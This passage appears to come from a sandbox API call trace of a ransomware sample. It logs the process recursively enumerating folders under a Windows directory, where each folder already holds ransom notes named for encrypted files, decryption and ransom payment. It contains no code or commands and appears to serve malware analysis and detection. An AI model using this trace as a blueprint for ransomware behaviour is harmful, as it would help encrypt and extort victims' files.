cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0253.020] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0253.020] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0253.020] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0253.020] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142b68a0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x142b68a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142b68a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0253.020] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142b68a0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x142b68a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142b68a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0253.020] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2762968, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd2762968, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xe02e15b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa1a9, dwReserved0=0x0, dwReserved1=0x3, cFileName="ClickMe.htm", cAlternateFileName="")) returned 1 [0253.020] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2762968, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd2762968, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xe02e15b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa1a9, dwReserved0=0x0, dwReserved1=0x3, cFileName="ClickMe.htm", cAlternateFileName="")) returned 0 [0253.020] FindClose (in: hFindFile=0x549790 | out: hFindFile=0x549790) returned 1 [0253.021] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9ce645a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55d620, cFileName="style", cAlternateFileName="")) returned 1 [0253.021] AreFileApisANSI () returned 1 [0253.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5288b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0253.023] GetFileType (hFile=0x178) returned 0x1 [0253.023] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55de38 | out: hHeap=0x510000) returned 1 [0253.024] AreFileApisANSI () returned 1 [0253.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0253.026] AreFileApisANSI () returned 1 [0253.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5288b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0253.029] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\style\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x142dca00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142dca00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0253.029] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ce645a6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x142dca00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142dca00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0253.029] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142b68a0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x142b68a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142b68a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0253.029] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142b68a0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x142b68a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142dca00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0253.030] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142b68a0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x142b68a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142b68a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0253.030] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142b68a0, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x142b68a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142b68a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 0 [0253.030] FindClose (in: hFindFile=0x549790 | out: hFindFile=0x549790) returned 1 [0253.030] FindNextFileA (in: hFindFile=0x549710, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cda597b, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2, dwReserved1=0x55d620, cFileName="Styles", cAlternateFileName="")) returned 1 [0253.030] AreFileApisANSI () returned 1 [0253.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0253.033] GetFileType (hFile=0x178) returned 0x1 [0253.033] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0253.034] AreFileApisANSI () returned 1 [0253.034] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0253.037] AreFileApisANSI () returned 1 [0253.037] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0253.038] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Styles\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x142dca00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142dca00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0253.038] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x142dca00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142dca00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0253.038] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142dca00, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x142dca00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142dca00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0253.039] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142dca00, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x142dca00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142dca00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0253.039] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142dca00, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x142dca00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142dca00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0253.039] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="NTSC", cAlternateFileName="")) returned 1 [0253.039] AreFileApisANSI () returned 1 [0253.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0253.039] GetFileType (hFile=0x1ac) returned 0x1 [0253.039] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58fe58 | out: hHeap=0x510000) returned 1 [0253.040] AreFileApisANSI () returned 1 [0253.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 71 [0253.041] AreFileApisANSI () returned 1 [0253.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0253.044] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14302b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14302b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0253.044] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14302b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14302b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0253.044] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142dca00, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x142dca00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142dca00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0253.045] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142dca00, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x142dca00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14302b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0253.045] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x142dca00, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x142dca00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x142dca00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0253.045] FindNextFileA (in: hFindFile=0x549810, lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony", cAlternateFileName="")) returned 1 [0253.045] AreFileApisANSI () returned 1 [0253.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0253.046] GetFileType (hFile=0x190) returned 0x1 [0253.046] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55fe38 | out: hHeap=0x510000) returned 1 [0253.048] AreFileApisANSI () returned 1 [0253.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0253.051] AreFileApisANSI () returned 1 [0253.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0253.052] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14302b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14302b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549850 [0253.053] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14302b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14302b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0253.053] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14302b60, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14302b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14302b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0253.053] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14302b60, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14302b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14302b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0253.053] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14302b60, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14302b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14302b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0253.053] FindNextFileA (in: hFindFile=0x549850, lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cce6d50, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony", cAlternateFileName="")) returned 1 [0253.053] AreFileApisANSI () returned 1 [0253.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0253.054] GetFileType (hFile=0x1a4) returned 0x1 [0253.054] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x561e48 | out: hHeap=0x510000) returned 1 [0253.055] AreFileApisANSI () returned 1 [0253.055] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0253.057] AreFileApisANSI () returned 1 [0253.057] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0253.060] FindFirstFileA (in: lpFileName="C:\\\\Windows\\ehome\\CreateDisc\\Styles\\NTSC\\Symphony\\Symphony\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14328cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14328cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549890 [0253.060] FindNextFileA (in: hFindFile=0x549890, lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9cce6d50, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x14328cc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14328cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName="..", cAlternateFileName="")) returned 1 [0253.060] FindNextFileA (in: hFindFile=0x549890, lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14302b60, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14302b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14302b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0253.060] FindNextFileA (in: hFindFile=0x549890, lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14302b60, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14302b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14328cc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0253.060] FindNextFileA (in: hFindFile=0x549890, lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14302b60, ftCreationTime.dwHighDateTime=0x1d5c25a, ftLastAccessTime.dwLowDateTime=0x14302b60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14302b60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0253.060] FindNextFileA (in: hFindFile=0x549890, lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd25bfa69, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xd25bfa69, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0xdfcedf07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x208c7e, dwReserved0=0x0, dwReserved1=0x3, cFileName="Symphony.psd", cAlternateFileName="")) returned 1 [0253.061] AreFileApisANSI () returned 1 [0253.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4a9c40, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0253.061] AreFileApisANSI () returned 1 [0253.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, 